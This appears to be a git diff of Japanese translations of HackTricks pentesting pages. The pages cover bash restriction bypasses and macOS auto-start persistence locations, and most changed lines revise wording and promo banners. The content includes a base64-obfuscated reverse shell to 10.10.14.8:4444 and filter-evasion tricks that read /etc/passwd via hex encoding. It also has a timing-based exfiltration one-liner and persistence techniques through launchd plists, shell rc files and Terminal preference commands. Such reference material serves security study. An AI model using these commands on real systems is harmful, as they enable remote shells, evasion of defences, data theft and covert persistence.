- `man command`: Displays the manual for a command.
|
||||
- `apropos keyword`: Searches the man page names and descriptions for a keyword.
|
||||
- `whatis command`: Displays a one-line manual page description.
|
||||
- `help command`: Provides help for shell built-ins.
|
||||
- `info command`: Displays the info entry for a command.
|
||||
- `compgen -c`: Lists all the commands you could run.
|
||||
- `compgen -b`: Lists all the shell built-ins.
|
||||
- `compgen -a`: Lists all the aliases you could run.
|
||||
- `compgen -k`: Lists all the keywords you could run.
|
||||
- `compgen -A function`: Lists all the functions you could run.
|
||||
- `compgen -A variable`: Lists all the variables you could run.
|
||||
- `compgen -A user`: Lists all the users you could run.
|
||||
- `compgen -A hostname`: Lists all the hostnames you could run.
|
||||
- `compgen -A service`: Lists all the services you could run.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
|
@ -397,21 +328,12 @@ IptablesはLinuxシステムで使用されるファイアウォールユーテ
|
|||
以下はIptablesでよく使用されるコマンドの一部です。
|
||||
|
||||
- `iptables -L`: 現在のファイアウォールルールをリスト表示します。
|
||||
- `iptables -F`: すべてのファイアウォールルールを削除します。
|
||||
- `iptables -A`: ファイアウォールルールを追加します。
|
||||
- `iptables -D`: ファイアウォールルールを削除します。
|
||||
- `iptables -F`: すべてのファイアウォールルールをフラッシュ(削除)します。
|
||||
- `iptables -A`: ファイアウォールルールに新しいルールを追加します。
|
||||
- `iptables -D`: ファイアウォールルールから特定のルールを削除します。
|
||||
|
||||
### 使用例
|
||||
```bash
|
||||
# ファイアウォールルールをリスト表示
|
||||
iptables -L
|
||||
|
||||
# ファイアウォールルールを追加
|
||||
iptables -A INPUT -s 192.168.1.1 -j ACCEPT
|
||||
|
||||
# ファイアウォールルールを削除
|
||||
iptables -D INPUT -s 192.168.1.1 -j ACCEPT
|
||||
```
|
||||
### 注意事項
|
||||
Iptablesを使用する際は、慎重にルールを設定し、システムのセキュリティを確保することが重要です。不適切な設定はシステムの可用性やセキュリティに影響を与える可能性があります。
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -444,22 +366,22 @@ iptables -P OUTPUT ACCEPT
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出する
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -7,17 +7,17 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**する
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -38,7 +38,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
|||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### パスと禁止ワードのバイパス
|
||||
### パスと禁止された単語のバイパス
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -93,7 +93,7 @@ mi # This will throw an error
|
|||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### 禁止されたスペースのバイパス
|
||||
### 禁止されたスペースをバイパスする
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
|
@ -145,12 +145,12 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### IPアドレスのバイパス
|
||||
### IP バイパス
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### 時間ベースのデータ流出
|
||||
### 時間ベースのデータの流出
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
|
@ -159,14 +159,14 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNSデータの流出
|
||||
### DNSデータの外部流出
|
||||
|
||||
例えば、**burpcollab**または[**pingb**](http://pingb.in)を使用できます。
|
||||
|
||||
### 組み込みコマンド
|
||||
|
||||
外部関数を実行できず、**RCEを取得するために組み込みコマンドの限られたセットにアクセス**しかできない場合、それを行うための便利なトリックがいくつかあります。通常、**すべての組み込みコマンドを使用できない**ことが多いので、刑務所をバイパスしようとするために**すべてのオプションを知っておく必要があります**。[**devploit**](https://twitter.com/devploit)のアイデアから。\
|
||||
まず、すべての[**シェル組み込みコマンド**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**を確認してください**。次に、以下はいくつかの**推奨事項**です:
|
||||
外部関数を実行できず、**RCEを取得するために組み込みコマンドの限られたセットにアクセス**しかできない場合、それを行うための便利なトリックがいくつかあります。通常、**すべての組み込みコマンドを使用できない**ことが多いので、刑務所をバイパスしようとするために**すべてのオプションを知っておく必要があります**。[**devploit**](https://twitter.com/devploit)からのアイデア。\
|
||||
まず、すべての[**シェル組み込みコマンド**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**を確認してください**。次に、以下にいくつかの**推奨事項**があります:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -230,7 +230,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
```
|
||||
### Bashfuscator
|
||||
|
||||
### バッシュファスケータ
|
||||
### バッシュファスケーター
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
|
@ -319,7 +319,7 @@ ln /f*
|
|||
```
|
||||
## 読み取り専用/Noexec/Distroless バイパス
|
||||
|
||||
もし、**読み取り専用および noexec 保護**が有効なファイルシステム内にいるか、distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法があります。さらにはシェルを実行することも可能です!**
|
||||
もし、**読み取り専用および noexec 保護**が有効なファイルシステム内にいるか、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法があります。さらにはシェルを実行することも可能です!**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
|
@ -338,7 +338,7 @@ ln /f*
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** できます。\
|
||||
|
@ -348,7 +348,7 @@ ln /f*
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** でゼロからヒーローまでの AWS ハッキングを学びましょう!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでの AWS ハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
|
@ -356,6 +356,6 @@ HackTricks をサポートする他の方法:
|
|||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
|
||||
* **HackTricks** と **HackTricks Cloud** の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有する
|
||||
* **HackTricks** および **HackTricks Cloud** の github リポジトリに PR を提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
- **Discordグループ**に**参加**💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
- **ハッキングテクニックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,7 +19,7 @@ HackTricksをサポートする他の方法:
|
|||
## サンドボックス回避
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで**簡単に何かを実行し、非常に**一般的な** **アクション**、特定の**時間**、または**通常はルート権限が必要なくサンドボックス内で実行できるアクション**を**待機**できます。
|
||||
ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで**、非常に**一般的な** **アクション**、決まった**時間**、または**通常サンドボックス内でルート権限を必要とせずに実行できるアクション**を**待機**することができます。
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -48,7 +48,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
**`launchd`**は、OX Sカーネルによって起動時に最初に実行され、シャットダウン時に最後に終了する**最初のプロセス**です。常に**PID 1**を持っている必要があります。このプロセスは、**ASEP** **plists**に示された構成を**読み取り**、**実行**します。
|
||||
**`launchd`**は、OX Sカーネルによって起動時に最初に実行され、シャットダウン時に最後に終了する**最初のプロセス**です。常に**PID 1**を持っているべきです。このプロセスは、**ASEP** **plists**に示された構成を**読み込んで実行**します:
|
||||
|
||||
- `/Library/LaunchAgents`:管理者によってインストールされたユーザーごとのエージェント
|
||||
- `/Library/LaunchDaemons`:管理者によってインストールされたシステム全体のデーモン
|
||||
|
@ -80,13 +80,13 @@ HackTricksをサポートする他の方法:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
いくつかのケースでは、**ユーザーがログインする前にエージェントを実行する必要がある**場合があります。これらは**PreLoginAgents**と呼ばれます。たとえば、これはログイン時に支援技術を提供するのに役立ちます。これらは`/Library/LaunchAgents`にも見つけることができます([**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)を参照)。
|
||||
いくつかの場合では、**ユーザーがログインする前にエージェントを実行する必要がある**ことがあります。これらは**PreLoginAgents**と呼ばれます。たとえば、これはログイン時に支援技術を提供するのに役立ちます。これらは`/Library/LaunchAgents`にも見つけることができます([**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)を参照)。
|
||||
|
||||
{% hint style="info" %}
|
||||
新しいデーモンまたはエージェントの構成ファイルは、**次回の再起動後または** `launchctl load <target.plist>` **を使用して読み込まれます。** 拡張子なしで `.plist` ファイルを読み込むことも可能ですが、`launchctl -F <file>` を使用します(ただし、これらの plist ファイルは再起動後に自動的に読み込まれません)。\
|
||||
`launchctl unload <target.plist>` で**アンロード**することも可能です(それを指すプロセスは終了します)。
|
||||
新しいデーモンまたはエージェントの構成ファイルは、**次回の再起動後または** `launchctl load <target.plist>` **を使用して読み込まれます。拡張子なしの.plistファイルを読み込むことも可能**で、`launchctl -F <file>`を使用します(ただし、これらのplistファイルは再起動後に自動的に読み込まれません)。\
|
||||
`launchctl unload <target.plist>`を使用して**アンロード**することも可能です(それを指すプロセスは終了します)。
|
||||
|
||||
**エージェント**または**デーモン**が**実行されるのを妨げる**何か(オーバーライドなど)がないことを**確認**するには、`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` を実行します。
|
||||
**エージェント**または**デーモン**が**実行されるのを妨げるもの(オーバーライドなど)がないことを**確認するには、`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`を実行します。
|
||||
{% endhint %}
|
||||
|
||||
現在のユーザーによって読み込まれているすべてのエージェントとデーモンをリストアップします:
|
||||
|
@ -94,7 +94,7 @@ HackTricksをサポートする他の方法:
|
|||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
もしplistがユーザーに所有されている場合、それがデーモンシステムワイドフォルダにあっても、**タスクはユーザーとして実行**され、rootとして実行されません。これにより特権昇格攻撃を防ぐことができます。
|
||||
plistがユーザーに所有されている場合、デーモンシステムワイドフォルダにあっても、**タスクはユーザーとして実行**され、rootとして実行されません。これにより特権昇格攻撃が防止される可能性があります。
|
||||
{% endhint %}
|
||||
|
||||
### シェル起動ファイル
|
||||
|
@ -102,11 +102,11 @@ launchctl list
|
|||
解説: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
解説 (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* サンドボックス回避に便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、これらのファイルを読み込むシェルを実行するTCCバイパスを持つアプリを見つける必要があります
|
||||
|
||||
#### ロケーション
|
||||
#### 位置
|
||||
|
||||
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
|
||||
* **トリガー**: zshでターミナルを開く
|
||||
|
@ -124,13 +124,13 @@ launchctl list
|
|||
* `/etc/profile` (動作しなかった)
|
||||
* `~/.profile` (動作しなかった)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **トリガー**: xtermでトリガーされることが期待されていますが、**インストールされていません**。さらにインストール後にこのエラーが発生します: xterm: `DISPLAY is not set`
|
||||
* **トリガー**: xtermでトリガーされることが期待されていますが、**インストールされていません**。さらに、インストール後にこのエラーが発生します: xterm: `DISPLAY is not set`
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
`zsh`や`bash`などのシェル環境を初期化するとき、**特定の起動ファイルが実行**されます。macOSは現在、デフォルトのシェルとして`/bin/zsh`を使用しています。このシェルは、Terminalアプリケーションが起動されるときやデバイスがSSH経由でアクセスされるときに自動的にアクセスされます。`bash`や`sh`もmacOSに存在しますが、使用するには明示的に呼び出す必要があります。
|
||||
|
||||
`man zsh`で読むことができるzshのmanページには、起動ファイルに関する長い説明があります。
|
||||
`man zsh`で読むことができるzshのmanページには、起動ファイルに関する詳細な説明があります。
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -138,10 +138,10 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### 再オープンされたアプリケーション
|
||||
|
||||
{% hint style="danger" %}
|
||||
指定された悪用の設定とログアウト、ログイン、または再起動を行っても、アプリを実行できませんでした。(アプリが実行されていなかった可能性があります。これらのアクションが実行されるときに実行される必要があるかもしれません)
|
||||
指定された悪用の設定とログアウト、ログイン、または再起動を行っても、アプリを実行できませんでした。(アプリが実行されていなかったかもしれません。これらのアクションが実行される際に実行されている必要があるかもしれません)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
**解説**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
@ -149,13 +149,13 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
#### 位置
|
||||
|
||||
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
||||
* **トリガー**: アプリケーションの再オープンを再起動
|
||||
* **トリガー**: アプリケーションの再オープン時に再起動
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
再オープンするすべてのアプリケーションは、plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`内にあります。
|
||||
|
||||
したがって、再オープンアプリケーションが自分のアプリを起動するようにするには、**アプリをリストに追加**するだけです。
|
||||
したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、**アプリをリストに追加**するだけです。
|
||||
|
||||
UUIDは、そのディレクトリをリストアップするか、`ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`で見つけることができます。
|
||||
|
||||
|
@ -188,7 +188,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
**`~/Library/Preferences`** には、ユーザーのアプリケーションの設定が保存されています。これらの設定の一部には、**他のアプリケーション/スクリプトを実行**する構成が含まれることがあります。
|
||||
**`~/Library/Preferences`** には、ユーザーのアプリケーションの設定が保存されています。これらの設定の中には、**他のアプリケーション/スクリプトを実行**する構成を保持しているものがあります。
|
||||
|
||||
たとえば、ターミナルは起動時にコマンドを実行できます:
|
||||
|
||||
|
@ -210,34 +210,13 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
}
|
||||
[...]
|
||||
```
|
||||
## macOS Auto Start Locations
|
||||
## macOS自動起動場所
|
||||
|
||||
### Launch Agents
|
||||
したがって、システム内のターミナルの設定ファイルが上書きされると、**`open`**機能を使用して**ターミナルを開き、そのコマンドが実行される**可能性があります。
|
||||
|
||||
Launch Agents are used to run commands when a user logs in. They are located in the following directories:
|
||||
これをCLIから追加することができます:
|
||||
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/System/Library/LaunchAgents/`
|
||||
- `~/Library/LaunchAgents/`
|
||||
|
||||
To add a Launch Agent, use the following command:
|
||||
|
||||
```bash
|
||||
launchctl load -w /path/to/plist
|
||||
```
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run commands when the system boots up. They are located in the following directories:
|
||||
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
|
||||
To add a Launch Daemon, use the following command:
|
||||
|
||||
```bash
|
||||
launchctl load -w /path/to/plist
|
||||
```
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Add
|
||||
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
|
||||
|
@ -252,7 +231,7 @@ launchctl load -w /path/to/plist
|
|||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ターミナルを使用してユーザーがFDA権限を持つ場合
|
||||
* ターミナルを使用してユーザーのFDA権限を持つ
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -261,9 +240,9 @@ launchctl load -w /path/to/plist
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
[**`.terminal`**スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**ターミナルアプリケーション**が自動的に起動され、そこで指定されたコマンドが実行されます。ターミナルアプリに特別な権限(TCCなど)がある場合、コマンドはその特別な権限で実行されます。
|
||||
[**`.terminal`**スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**ターミナルアプリケーション**が自動的に起動され、そこで指定されたコマンドが実行されます。ターミナルアプリに特別な特権(TCCなど)がある場合、その特権でコマンドが実行されます。
|
||||
|
||||
以下で試してみてください:
|
||||
試してみてください:
|
||||
```bash
|
||||
# Prepare the payload
|
||||
cat > /tmp/test.terminal << EOF
|
||||
|
@ -298,7 +277,7 @@ open /tmp/test.terminal
|
|||
|
||||
- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
- いくつかの追加のTCCアクセスを取得する可能性があります
|
||||
- 追加のTCCアクセスを取得する可能性があります
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -324,7 +303,7 @@ open /tmp/test.terminal
|
|||
|
||||
- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
- いくつかの追加のTCCアクセスを取得する可能性があります
|
||||
- 追加のTCCアクセスを取得する可能性があります
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -343,7 +322,7 @@ QuickLookプラグインは、**ファイルのプレビューをトリガーす
|
|||
### ~~ログイン/ログアウトフック~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
私には機能しませんでした。ユーザーのLoginHookやルートのLogoutHookも同様です。
|
||||
私にはうまくいきませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした
|
||||
{% endhint %}
|
||||
|
||||
**解説**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
@ -378,37 +357,37 @@ TALLogoutSavesState = 0;
|
|||
oneTimeSSMigrationComplete = 1;
|
||||
}
|
||||
```
|
||||
削除するには:
|
||||
削除するには:
|
||||
```bash
|
||||
defaults delete com.apple.loginwindow LoginHook
|
||||
defaults delete com.apple.loginwindow LogoutHook
|
||||
```
|
||||
**ルートユーザー**は**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**に保存されています。
|
||||
|
||||
## 条件付きサンドボックスバイパス
|
||||
## 条件付きサンドボックス回避
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**サンドボックスバイパス**に役立つ**スタートロケーション**を見つけることができます。これにより、**ファイルに書き込んで単純に実行**し、特定の**インストールされたプログラム、"一般的でない"ユーザー**のアクションや環境など、**非常に一般的でない条件**を期待することができます。
|
||||
ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで単純に実行**し、特定の**インストールされたプログラム、"一般的でない"ユーザー**のアクションや環境など、**非常に一般的でない条件**を期待することができます。
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
||||
**解説**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* サンドボックス回避に役立つ: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、`crontab`バイナリを実行できる必要があります
|
||||
* または、ルートである必要があります
|
||||
* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* TCC回避: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### ロケーション
|
||||
#### 場所
|
||||
|
||||
